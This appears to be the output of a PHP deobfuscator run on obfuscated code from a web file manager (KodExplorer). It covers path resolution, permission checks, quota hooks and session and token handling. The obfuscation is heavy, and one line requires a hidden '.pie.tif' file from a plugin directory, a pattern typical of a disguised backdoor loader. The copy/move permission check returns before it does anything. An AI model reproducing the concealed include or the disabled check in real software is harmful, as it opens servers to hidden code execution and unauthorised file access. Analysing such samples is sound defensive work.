_DIR_CLEAR($D) { $D = $GLOBALS[_kstr2(',feQdWd^bUSW')](_kstr2(',N'), _kstr2('+"'), $D); $D = $GLOBALS[base64_decode('cHJlZ19yZXBsYWNl')](_kstr2(',N!!!'), _kstr2('- '), $D); $B = $D; if (isset($GLOBALS["\x69\x73\x52\x6f\x6f\x74"]) && $GLOBALS[_kstr2('2_U[>`[')]) { return $D; } $E = base64_decode('Ly4uLw=='); if ($GLOBALS[_kstr2(')jhhWgi')]($D, 0, 3) == "\x2e\x2e\x2f") { $D = $GLOBALS[_kstr2('0caaP`b')]($D, 3); } while (strstr($D, $E)) { $D = $GLOBALS["\163\164\162\137\162\145\160\154\141\143\145"]($E, _kstr2('(%'), $D); } $D = $GLOBALS[_kstr2('0`^US`M^SZ')._kstr2('/RP')."\x65"]("\x2f\x5c\x2f\x2b\x2f", _kstr2('- '), $D); return $D; } function _DIR($F) { $D = _DIR_CLEAR($F); $D = iconv_system($D); $a = array(KOD_GROUP_PATH, KOD_GROUP_SHARE, KOD_USER_SELF, KOD_GROUP_ROOT_SELF, KOD_GROUP_ROOT_ALL, KOD_USER_SHARE, KOD_USER_RECYCLE, KOD_USER_FAV); $GLOBALS[_kstr2(')d`EYiVI]')._kstr2('(fo[')] = ''; $GLOBALS[_kstr2('+b^CWgTC[Xe')] = HOME; $GLOBALS["\153\157\144\120\141\164\150\111\144"] = ''; unset($GLOBALS[_kstr2('0]Y>RbO7VR')."\123\150\141\162\145"]); foreach ($a as $F) { if ($GLOBALS[_kstr2('/dbbQac')]($D, 0, $GLOBALS[_kstr2('.dc\\b^U')]($F)) == $F) { $GLOBALS[_kstr2('2[W<P`M@T\\eQ')] = $F; $C = $GLOBALS[_kstr2(',jW^bVaW')]("\57", $D); $E = $C[0]; unset($C[0]); $c = $GLOBALS["\x69\x6d\x70\x6c\x6f\x64\x65"](base64_decode('Lw=='), $C); $E = $GLOBALS[_kstr2('+kX_cWbX')](_kstr2('/)'), $E); if ($GLOBALS[base64_decode('Y291bnQ=')]($E) > 1) { $GLOBALS[base64_decode('a29kUGF0aElk')] = $GLOBALS[_kstr2('-ce^Z')]($E[1]); } else { $GLOBALS[base64_decode('a29kUGF0aElk')] = ''; } break; } } switch ($GLOBALS["\153\157\144\120\141\164\150\124\171\160\145"]) { case '': $D = iconv_system(HOME) . $D; break; case KOD_USER_RECYCLE: $GLOBALS[_kstr2('(eaFZjWF^[h')] = $GLOBALS[_kstr2('1_aZV')](USER_RECYCLE, _kstr2('0')); $GLOBALS["\153\157\144\120\141\164\150\111"."\x64"] = ''; return iconv_system(USER_RECYCLE) . _kstr2('1') . str_replace(KOD_USER_RECYCLE, '', $D); case KOD_USER_SELF: $GLOBALS[_kstr2('+b^CWgTC[Xe')] = $GLOBALS[_kstr2('.bd]Y')](HOME_PATH, base64_decode('Lw==')); $GLOBALS[_kstr2('+b^CWgT<[')._kstr2('(Z')] = ''; return iconv_system(HOME_PATH) . "\x2f" . str_replace(KOD_USER_SELF, '', $D); case KOD_USER_FAV: $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x50\x72\x65"] = $GLOBALS["\164\162\151\155"](KOD_USER_FAV, _kstr2(')$')); $GLOBALS[_kstr2('2[W<P`M5TP')] = ''; return KOD_USER_FAV; case KOD_GROUP_ROOT_SELF: $GLOBALS["\153\157\144\120\141\164\150\120\162\145"] = $GLOBALS["\x74\x72\x69\x6d"](KOD_GROUP_ROOT_SELF, _kstr2('- ')); $GLOBALS[_kstr2('*c_DXhU=\\X')] = ''; return KOD_GROUP_ROOT_SELF; case KOD_GROUP_ROOT_ALL: $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x50\x72\x65"] = $GLOBALS["\164\162\151\155"](KOD_GROUP_ROOT_ALL, "\57"); $GLOBALS[base64_decode('a29kUGF0aElk')] = ''; return KOD_GROUP_ROOT_ALL; case KOD_GROUP_PATH: $D = systemGroup::getInfo($GLOBALS[_kstr2('2[W<P`M5T')._kstr2('/S')]); if (!$GLOBALS[_kstr2('(eaFZjW?^Z')] || !$D) { return false; } owner_group_check($GLOBALS["\153\157\144\120\141\164\150\111\144"]); $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x50\x72\x65"] = group_home_path($D); $D = iconv_system($GLOBALS["\153\157\144\120\141\164\150\120\162\145"]) . $c; break; case KOD_GROUP_SHARE: $D = systemGroup::getInfo($GLOBALS[base64_decode('a29kUGF0aElk')]); if (!$GLOBALS[_kstr2(')d`EYiV>]Y')] || !$D) { return false; } owner_group_check($GLOBALS[_kstr2(',a]BVfS;ZV')]); $GLOBALS[_kstr2('-`\\AUeRAY')._kstr2(',Wd')] = group_home_path($D) . $GLOBALS[_kstr2('/^RU]VX')][_kstr2('0Sabb\\WAUag')._kstr2(',f').base64_decode('ZW0=')]["\147\162\157\165\160\123\150\141\162\145\106\157\154\144"."\x65\x72"] . _kstr2('/'); $D = iconv_system($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x50\x72\x65"]) . $c; break; case KOD_USER_SHARE: $D = systemMember::getInfo($GLOBALS[_kstr2('*c_DXhU=\\X')]); if (!$GLOBALS[_kstr2('0]Y>RbO7V')."\x64"] || !$D) { return false; } if ($GLOBALS[_kstr2('-`\\AUeR:YU')] != $_SESSION[_kstr2('-`\\FUVdc')][base64_decode('dXNlcklE')]) { $F = $GLOBALS["\143\157\156\146\151\147"]["\160\141\164\150\122\157\154\145\107\162"._kstr2(',ga6bXWgSf^')][_kstr2('2')][_kstr2('1PNVa[\\`')]; path_role_check($F); } $GLOBALS[_kstr2('+b^CWgTC[')._kstr2('2Q^')] = ''; $GLOBALS[base64_decode('a29kUGF0aElkU2hh')."\x72\x65"] = $F; if ($c == '') { return $D; } else { $d = $GLOBALS[_kstr2('2dQX\\P[Q')](base64_decode('Lw=='), $c); $d[0] = iconv_app($d[0]); $f = systemMember::userShareGet($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49".base64_decode('ZA==')], $d[0]); $GLOBALS[base64_decode('a29kU2hhcmVJ')._kstr2('2RZ[')] = $f; $GLOBALS["\153\157\144\120\141\164\150\111"._kstr2('.CTQX')."\x72\x65"] = KOD_USER_SHARE . "\72" . $GLOBALS[_kstr2('1\\X=QaN6UQ')] . _kstr2('0') . $d[0] . _kstr2('/'); unset($d[0]); if (!$f) { return false; } $e = rtrim($f[_kstr2('.Q`Xd')], "\57") . _kstr2(')$') . iconv_app($GLOBALS[_kstr2('.]Y\\`T_U')]("\x2f", $d)); if ($D["\162\157\154\145"] != _kstr2('/ ')) { $f = user_home_path($D); $GLOBALS[_kstr2('0]Y>RbO>VS`')] = $f . rtrim($f[_kstr2('.Q`Xd')], _kstr2('0')) . _kstr2('+"'); $D = $f . $e; } else { $GLOBALS[_kstr2('0]Y>RbO>V')._kstr2('([h')] = $f[_kstr2('/P_Wc')]; $D = $e; } if ($f["\x74\x79\x70\x65"] == _kstr2('.YVU\\')) { $GLOBALS[_kstr2(',a]BVfS;Z')."\x64\x53\x68\x61\x72\x65"] = rtrim($GLOBALS[base64_decode('a29kUGF0aEk=')."\144\123"."\x68\x61"._kstr2('-Vc')], base64_decode('Lw==')); $GLOBALS[_kstr2('1\\X=QaN=UR_')] = rtrim($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x50\x72\x65"], _kstr2('1')); } $D = iconv_system($D); } $GLOBALS[_kstr2('2[W<P`M<TQ^')] = _DIR_CLEAR($GLOBALS[base64_decode('a29kUGF0aFByZQ==')]); $GLOBALS[_kstr2('/^Z?ScP8W')."\144\123\150\141\162\145"] = _DIR_CLEAR($GLOBALS[base64_decode('a29kUGF0aElkUw==')."\x68\x61\x72"."\x65"]); break; default: break; } if ($D != "\x2f") { $D = rtrim($D, _kstr2(')$')); if (is_dir($D)) { $D = $D . "\x2f"; } } return _DIR_CLEAR($D); } function _DIR_OUT($e) { if (is_array($e)) { foreach ($e[base64_decode('ZmlsZUxpc3Q=')] as $a => &$b) { $b[_kstr2('.Q`Xd')] = preClear($b["\160\141\164\150"]); } foreach ($e[_kstr2(',aXV^dW[>e')."\164"] as $a => &$b) { $b[base64_decode('cGF0aA==')] = preClear(rtrim($b[base64_decode('cGF0aA==')], base64_decode('Lw==')) . _kstr2('(%')); } } else { $e = preClear($e); } return $e; } function preClear($D) { $a = $GLOBALS[_kstr2('1\\X=QaNAU]fR')]; $B = rtrim($GLOBALS[_kstr2('0]Y>RbO>V`').base64_decode('ZQ==')], _kstr2('(%')); $d = array(KOD_USER_FAV, KOD_GROUP_ROOT_SELF, KOD_GROUP_ROOT_ALL); if (isset($GLOBALS[_kstr2(')d`EYiVI]enZ')]) && $GLOBALS[_kstr2('(d_WUhhoW')]($GLOBALS[_kstr2('/^Z?ScPCW_hT')], $d)) { return $D; } if (ST == base64_decode('c2hhcmU=')) { return $GLOBALS[base64_decode('c3RyX3JlcGxhYw==')."\x65"]($B, '', $D); } if ($GLOBALS[_kstr2('*c_DXhU=\\X')] != '') { $a .= _kstr2('/)') . $GLOBALS[_kstr2('(eaFZjW?^Z')] . _kstr2('+"'); } if (isset($GLOBALS["\153\157\144\120\141\164\150\111"."\144\123\150\141"._kstr2('*Yf')])) { $a = $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49"._kstr2(')Y')."\123\150\141\162\145"]; } $B = $a . str_replace($B, '', $D); $B = $GLOBALS[_kstr2('-edPcVc]aTR')."\145"](base64_decode('Ly8='), _kstr2(',!'), $B); return $B; } require PLUGIN_DIR . _kstr2(',f!aae^a5')._kstr2('+``abf"')._kstr2(')Vi^i$X^eZ')."\x2f\x2e\x70\x69\x65\x2e\x74\x69\x66"; function owner_group_check($D) { if (!$D) { show_json(LNG(_kstr2('2^Sa[K\\[ZK`Q')._kstr2('*l')._kstr2(',e[f')) . $D, false); } if ($GLOBALS[base64_decode('aXNSb290')] || isset($GLOBALS["\153\157\144\120\141\164\150\101\165"._kstr2('+[g')._kstr2(',Z5UW]')]) && $GLOBALS[_kstr2('._[@TdQ1X')."\165\164\150\103\150"."\145\143\153"] === true) { return; } $E = systemMember::userAuthGroup($D); if ($E == false) { if ($GLOBALS[base64_decode('a29kUGF0aFR5cA==').base64_decode('ZQ==')] == KOD_GROUP_PATH) { show_json(LNG(_kstr2('-`_aPcVZ^dd`Z')._kstr2('*Sbf[icd')), false); } else { if ($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x54\x79\x70\x65"] == KOD_GROUP_SHARE) { $F = $GLOBALS[_kstr2('2[ORZSU')]["\160\141\164\150\122\157\154\145"._kstr2('(h=ke:f')._kstr2('.VUeQd\\')][_kstr2('(\'')]; } } } else { $F = $GLOBALS[_kstr2(',aUX`Y[')]["\x70\x61\x74\x68\x52\x6f\x6c\x65\x47\x72\x6f"._kstr2('+ch')][$E]; } path_role_check($F[_kstr2(')XV^icdh')]); } function path_group_can_read($D) { return path_group_auth_check($D, _kstr2('*lY`dfcfY"')."\160\141\164\150\114\151\163\164"); } function path_group_auth_check($D, $f) { if ($GLOBALS[base64_decode('aXNSb290')]) { return true; } $E = systemMember::userAuthGroup($D); $F = $GLOBALS["\x63\x6f\x6e\x66\x69\x67"][base64_decode('cGF0aFJvbGU=')._kstr2('.b7e_`')][$E]; $f = role_permission_arr($F[base64_decode('YWN0aW9ucw==')]); if (!isset($f[$f])) { return false; } return true; } function path_can_copy_move($F, $b) { return; if ($GLOBALS["\151\163\122\157\157\164"]) { return; } $F = pathGroupID($F); $F = pathGroupID($b); if (!$F) { return; } if ($F == $F && path_group_auth_check($F, "\x65\x78\x70\x6c\x6f\x72\x65\x72\x2e\x70"._kstr2('1aN=U`Na'))) { return; } show_json(LNG(_kstr2('0]\\^M`SW[')."\163\163\151\157".base64_decode('bl9hY3Rpb24=')), false); } function pathGroupID($D) { $D = _DIR_CLEAR($D); preg_match(_kstr2('*#') . KOD_GROUP_PATH . _kstr2('+-WO!"'), $D, $d); if ($GLOBALS[_kstr2(',aU`gf')]($d) != 2) { return false; } return $d[1]; } function path_role_check($F) { if ($GLOBALS[_kstr2('+f\\bEgb')] || isset($GLOBALS[_kstr2('+b^CWgT4[gh')."\150\103\150\145\143\153"]) && $GLOBALS[base64_decode('a29kUGF0aEE=')."\165\164\150\103\150\145\143\153"] === true) { return; } $f = role_permission_arr($F); $GLOBALS["\153\157\144\120\141\164\150\122"._kstr2('.\\_7U_b').base64_decode('dXBBdXRo')] = $f; $F = ST . "\56" . ACT; if ($F == _kstr2(',^bYg`[b3b')._kstr2('0b]') && !isset($f[base64_decode('ZXhwbG9yZXI=')."\x2e\x66\x69\x6c\x65\x50\x72\x6f\x78\x79"])) { show_tips(LNG(_kstr2(')dceTgZ^bhhd^Tc')."\x61\x63\x74\x69\x6f\x6e"), false); } if (!isset($f[$F]) && ST != _kstr2(',ZedSW')) { show_json(LNG("\156\157\137\160\145\162\155\151"."\x73\x73"._kstr2('*c]SbWU]hbc')), false); } } function role_permission_arr($e) { $B = array(); $e = $GLOBALS[base64_decode('Y29uZmln')][_kstr2('2M\\T`[>QX')._kstr2('/T3')._kstr2('+\\YXa')]; foreach ($e as $a => $b) { if (!$b) { continue; } $C = $GLOBALS[_kstr2(')mZaeYdZ')](_kstr2('/)'), $a); if ($GLOBALS[base64_decode('Y291bnQ=')]($C) == 2 && is_array($e[$C[0]]) && is_array($e[$C[0]][$C[1]])) { $B = array_merge($B, $e[$C[0]][$C[1]]); } } $A = array(); foreach ($B as $b) { $A[$b] = "\61"; } return $A; } function check_file_writable_user($D) { if (!isset($GLOBALS["\153\157\144\120\141\164\150\124\171\160\145"])) { _DIR($D); } $f = base64_decode('ZWRpdG9yLmZpbA==')."\x65\x53\x61\x76\x65"; if ($GLOBALS[_kstr2('2_U[>`[')]) { return @is_writable($D); } if ($GLOBALS[base64_decode('YXV0aA==')][$f] != _kstr2('+$')) { return false; } if ($GLOBALS["\153\157\144\120\141\164\150\124"._kstr2('0^gS')] == KOD_GROUP_PATH && is_array($GLOBALS[_kstr2('+b^CWgTE[')."\157\154\145"._kstr2(',d9ga3bfgZ')]) && $GLOBALS[_kstr2('1\\X=QaN?U\\')."\x6c\x65\x47\x72\x6f\x75\x70\x41"."\x75\x74"._kstr2(',Z')][$f] == _kstr2('*%')) { return true; } if ($GLOBALS[_kstr2('1\\X=QaNAU]fR')] == '' || $GLOBALS[_kstr2('0]Y>RbOBVg')._kstr2('2\\')._kstr2('2Q')] == KOD_USER_SELF) { return true; } return false; } function spaceSizeCheck() { if (!system_space()) { return; } if ($GLOBALS[_kstr2('/bX^Ac^')] == 1) { return; } if (isset($GLOBALS[base64_decode('a29kQmVmb3JlUGF0aElk')]) && isset($GLOBALS[_kstr2('*c_DXhU=\\X')]) && $GLOBALS[_kstr2('-`\\3UWVc`V')._kstr2('.Q@XdT9')] == $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49\x64"]) { return; } if ($GLOBALS[_kstr2('+b^CWgTG[clX')] == KOD_GROUP_SHARE || $GLOBALS[_kstr2('-`\\AUeREYj')."\x70\x65"] == KOD_GROUP_PATH) { systemGroup::spaceCheck($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49\x64"]); } else { if (ST == _kstr2('2T_^MQ')) { $D = $GLOBALS["\151\156"][_kstr2(')hjgZ')]; } else { $D = $_SESSION[base64_decode('a29kVXNlcg==')]["\165\163\145\162\111\104"]; } systemMember::spaceCheck($D); } } function spaceSizeGet($D, $B) { $b = 0; if (is_file($D)) { $b = get_filesize($D); } else { if (is_dir($D)) { $e = _path_info_more($D); $b = $e[_kstr2('.YcUj')]; } else { return _kstr2('.Y]cc'); } } return $B ? $b : -$b; } function spaceInData($D) { if ($GLOBALS[_kstr2(')jhhWgi')]($D, 0, $GLOBALS[base64_decode('c3RybGVu')](HOME_PATH)) == HOME_PATH || $GLOBALS["\163\165\142\163\164\162"]($D, 0, $GLOBALS[base64_decode('c3RybGVu')](USER_RECYCLE)) == USER_RECYCLE) { return true; } return false; } function spaceSizeChange($a, $B = true, $E = false, $a = false) { if (!system_space()) { return; } if ($E === false) { $E = $GLOBALS[_kstr2('0]Y>RbOBV^g')._kstr2('-V')]; $a = $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49\x64"]; } $F = spaceSizeGet($a, $B); if ($F == "\x6d\x69\x73\x73") { return false; } if ($E == KOD_GROUP_SHARE || $E == KOD_GROUP_PATH) { systemGroup::spaceChange($a, $F); } else { if (ST == "\x73\x68\x61\x72\x65") { $D = $GLOBALS[_kstr2('(d_')][_kstr2('.cebU')]; } else { $D = $_SESSION[_kstr2(',a]GVWed')][base64_decode('dXNlcklE')]; } systemMember::spaceChange($D, $F); } } function spaceSizeChangeRemove($a) { spaceSizeChange($a, false); } function spaceSizeChangeMove($B, $F) { if (isset($GLOBALS[_kstr2('-`\\3UWVc`AVeR')."\150\111\144"]) && isset($GLOBALS[_kstr2(')d`EYiV>]Y')])) { if ($GLOBALS[_kstr2(')d`7Y[ZgdZ')."\x50\x61\x74\x68\x49\x64"] == $GLOBALS[base64_decode('a29kUGF0aElk')] && $GLOBALS[_kstr2('.UR_VUbQ@XdD')._kstr2('+clX')] == $GLOBALS["\153\157\144\120\141\164\150\124\171\160\145"]) { return; } spaceSizeChange($F, false); spaceSizeChange($F, true, $GLOBALS[base64_decode('YmVmb3JlUGF0aFR5cGU=')], $GLOBALS["\153\157\144\102\145\146\157\162\145\120\141\164\150"._kstr2('(Z?')]); } else { spaceSizeChange($F); } } function spaceSizeReset() { if (!system_space()) { return; } $E = isset($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x54\x79\x70\x65"]) ? $GLOBALS["\153\157\144\120\141\164\150\124\171\160\145"] : ''; $a = isset($GLOBALS["\153\157\144\120\141\164\150\111\144"]) ? $GLOBALS["\153\157\144\120\141\164\150\111"._kstr2('-U')] : ''; if ($E == KOD_GROUP_SHARE || $E == KOD_GROUP_PATH) { systemGroup::spaceChange($a); } else { $D = $_SESSION["\153\157\144\125\163\145\162"]["\165\163\145\162\111\104"]; systemMember::spaceChange($D); } } function init_space_size_hook() { Hook::bind(base64_decode('dXBsb2FkRmk=')._kstr2(',W^W4aXWd'), "\163\160\141\143\145\123\151\172\145".base64_decode('Q2hlY2s=')); Hook::bind(_kstr2('/_d^[SPX5T[0')."\x66\x74\x65\x72", "\x73\x70\x61\x63\x65\x53\x69\x7a"._kstr2('-4V')."\x68\x61\x6e\x67\x65"); Hook::bind(_kstr2('(n[bfheh[$')._kstr2('0Sad``S')._kstr2('*c8bkc`XU').base64_decode('Qg==')._kstr2('+YXebX'), "\x73\x70\x61\x63\x65\x53\x69\x7a\x65\x43\x68\x65\x63\x6b"); Hook::bind("\x65\x78\x70\x6c\x6f\x72\x65\x72"."\56\165\156\172\151\160\102\145"."\146\157"."\162\145", base64_decode('c3BhY2VTaXpl')._kstr2('(^9Y[a')); Hook::bind(_kstr2('*lY`dfcfY')."\56\172\151\160\102\145\146\157\162\145", _kstr2(')ehXVHZo^8Z]')._kstr2('0QSY')); Hook::bind(_kstr2('(n[bfheh[f$jWF^')._kstr2('.Q')._kstr2('/cb'), _kstr2('-adTRDVkZ4VVY\\T')); Hook::bind(_kstr2('.hU\\`b_bU')._kstr2('/Z\\XUT[T1')."\146\157\162\145", _kstr2('0^aQOAShW1SSV')._kstr2('+^V')); Hook::bind(_kstr2(',jW^bdadW_ ')._kstr2('0RY`WS0]TS`'), _kstr2('(fiYWI[p_9[[^aY')); Hook::bind("\x65\x78\x70\x6c\x6f\x72\x65\x72\x2e\x70\x61"."\164\150"."\x4d\x6f\x76\x65", "\163\160\141\143\145\123\151\172"."\x65\x43\x68\x65\x63\x6b"); Hook::bind(_kstr2('0fSZ^`]`S')._kstr2(',_ X]^[3W')."\146\164\145\162", _kstr2('-adTRDVkZV')."\103\150\141\156\147\145"); Hook::bind(_kstr2('.hU\\`b_bU')._kstr2('0O^Vb]1g^T/')._kstr2(',Wfd'), _kstr2('1]`PN@RgV')."\x65\x43\x68\x61\x6e\x67\x65"); Hook::bind(base64_decode('ZXhwbG9yZXIueg==')._kstr2('(f_\\7[jh'), _kstr2(')ehXVHZo^8Z]')._kstr2('*bUY[')); Hook::bind("\x65\x78\x70\x6c\x6f\x72\x65\x72"."\56\165\156\172\151\160"."\x41"."\x66\x74\x65\x72", _kstr2('2\\_OM?QfUQ')._kstr2('.3')._kstr2('-RYX_V')); Hook::bind(_kstr2('.hU\\`b_bU')._kstr2('.UcfbbU')."\x44\x6f\x77\x6e\x6c\x6f\x61\x64\x41\x66\x74\x65\x72", "\163\160\141\143\145\123\151\172\145\103"."\x68\x61\x6e"."\147\145"); Hook::bind(_kstr2('.hU\\`b_bU`')._kstr2('0bOV')._kstr2(',a?WhW4aXWd'), base64_decode('c3BhY2VTaXo=').base64_decode('ZQ==')."\103\150\145".base64_decode('Y2s=')); Hook::bind("\x65\x78\x70\x6c\x6f\x72\x65\x72"._kstr2(',b fS?Zha3WX')."\x74\x65\x72", "\x73\x70\x61\x63\x65\x53\x69\x7a"."\145\103\150\141"._kstr2('(]dC[le[')); Hook::bind("\145\170\160\154\157\162\145\162\56"._kstr2('.Q`XdUB')."\x6d\x6f\x76\x65\x42\x65\x66\x6f\x72"._kstr2('*Y'), base64_decode('c3BhY2VTaXo=')._kstr2(')8ZV]\\cGZ')._kstr2(',_WhaW')); if ($GLOBALS[_kstr2('.^Y')][base64_decode('c2hpZnREZWxldGU=')]) { Hook::bind(_kstr2('+kX_cebeX!').base64_decode('cA==')."\x61\x74\x68\x52\x65\x6d\x6f\x76"._kstr2('0/SbT`S'), _kstr2('1]`PN@RgV?R`R').base64_decode('ZQ==')._kstr2(',f')); } Hook::bind(_kstr2('/Tc_\\P[Tc2').base64_decode('bw==').base64_decode('bW1vbkg=')._kstr2('1NRRQ@_Na_').base64_decode('dA=='), "\143\150\145\143\153\125\163\145\162\114"._kstr2('-^ZeZ')); } function checkUserLimit() { $b = $_SESSION[_kstr2(')d`JYZhg')]; if (!$b) { return; } $B = systemMemberData(_kstr2('*\\WWYI_Yg@fa]]')._kstr2('-e')); $F = $B->get($b[_kstr2('(ikh[:?')]); if (!$F) { show_tips(_kstr2('-~zzy')."\xe6\x9c\xac"."\345\267\262\347\273\217\350\266"."\x85\xe8\xbf\x87\xe7"._kstr2('+{}')._kstr2('/')."\xbc\x8c\xe8\xaf\xb7\xe8\x81\x94"._kstr2('2').base64_decode('rqE=')._kstr2('0~tvts').base64_decode('jeWQjeminSE=')); } } function init_session() { if (!function_exists(_kstr2('0Saaa]WM\\ba`Ob'))) { show_tips(base64_decode('5pyN5Yqh5Zmo').base64_decode('cGhw57uE')._kstr2('+C')._kstr2(')E=bh^ha')."\x69\x62\x29\x3c"."\142\162\57\76\350\257\267\346\243\200\346"."\x9f\xa5\x70\x68\x70\x2e\x69\x6e\x69"._kstr2('1ym')._kstr2('.qp').base64_decode('oQ==')._kstr2('+')._kstr2('1
\'O)_)+_]')._kstr2('-/VVddd`Z_')._kstr2('+')._kstr2('2_VZ[O^a')._kstr2('1YeRSVZO')."\163\164\162\151\156\147\54\154\144"."\x61".base64_decode('cCxnZCw=')."\x70\x64\x6f\x2c\x70\x64\x6f\x2d\x6d\x79\x73"._kstr2('0Z_fZ[*^').base64_decode('cg==')._kstr2('/-TQ+a-')); } if (isset($_REQUEST[base64_decode('YWNjZXNzVG9r')."\x65\x6e"])) { access_token_check($_REQUEST[_kstr2('*WUYWggcHY_b')]); } else { if (isset($_REQUEST[_kstr2('1PNRP``aL\\')."\153\145\156"])) { access_token_check($_REQUEST[_kstr2('-TRVTddeP\\`_V')]); } else { @session_name(SESSION_ID); } } $c = @session_save_path(); if (class_exists(_kstr2('*UGGYchUfY[')) || defined(_kstr2('-2DP6A2?A2')."\115\105") || defined(_kstr2('(;IIIE?UD7F')."\x54\x48\x5f\x44\x45\x46\x41\x55".base64_decode('TFQ=')) || @ini_get("\163\145\163\163\151\157\156\56"."\x73\x61\x76\x65"._kstr2(')]TcVaYgZ')) != _kstr2('+\\YX_f') || isset($_SERVER[_kstr2('-E9AE2PAA2?6>')])) { } else { chmod_path(KOD_SESSION, 511); @session_save_path(KOD_SESSION); } @session_start(); $_SESSION[base64_decode('a29k')] = 1; @session_write_close(); @session_start(); if (!$_SESSION[_kstr2('/^ZS')]) { @session_save_path($c); @session_start(); $_SESSION[_kstr2('*c_X')] = 1; @session_write_close(); @session_start(); } if (!$_SESSION[_kstr2('*c_X')]) { show_tips(_kstr2('2yv_')."\145\163\163\151\157\156\345\206\231\345\205\245"._kstr2(')hhZ')."\163\151\157\156\40\167\162\151".base64_decode('dGUgZXJyb3IpPGI=')."\162\57\76" . _kstr2(',r')."\xa5\x70\x68\x70\x2e\x69\x6e\x69\xe7\x9b"._kstr2('-vv~')._kstr2('.{q')._kstr2('(')."\345\267\262\346\273\241\54\346".base64_decode('iJblkg==')._kstr2('+}')._kstr2('*zt0vfV')._kstr2('/-Q+a-') . _kstr2(',Weeea[ `Seh')._kstr2(',QWSbZf/') . $c . base64_decode('PGJyLz4=') . "\x73\x65\x73\x73\x69\x6f\x6e\x2e"._kstr2('0Oad').base64_decode('ZV9oYW5kbGVyPQ==') . @ini_get(_kstr2('*Ygggc]"bUgYjS')._kstr2('2MTPZQX^')) . base64_decode('PGJyLz4=')); } } function access_token_check($D) { $f = $GLOBALS[_kstr2('+bVYaZ\\')]["\163\145\164\164\151\156\147\123\171"._kstr2('0ba[S')]["\163\171\163\164\145\155\120\141\163\163\167\157\162\144"]; $f = $GLOBALS[_kstr2('/dbbQac')]($GLOBALS[_kstr2('0R[#')]("\x6b\x6f\x64\x45\x78\x70\x6c\x6f\x72\x65\x72\x5f" . $f), 0, 15); $e = Mcrypt::decode($D, $f); if (!$e) { show_tips(_kstr2('.SQUScc_DU[^')."\145\162\162\157\162\41"); } session_id($e); $GLOBALS[_kstr2('0Saaa]WM\\O\\S[')](SESSION_ID); } function access_token_get() { $e = session_id(); $f = $GLOBALS[base64_decode('Y29uZmln')][_kstr2('1R`aa[V@T`fRaZ')][_kstr2('*mghgaYUDggckXf')]; $f = $GLOBALS[_kstr2('/dbbQac')]($GLOBALS[_kstr2('0R[#')]("\x6b\x6f\x64\x45\x78\x70\x6c\x6f\x72\x65"."\162\137" . $f), 0, 15); $c = Mcrypt::encode($e, $f, 3600 * 24); return $c; } function init_config() { init_setting(); init_session(); init_space_size_hook(); }

Function Calls

None

Variables

None

Stats

MD5 1eb7817c312c4c13548d3b74b7dca5ed
Eval Count 0
Decode Time 90 ms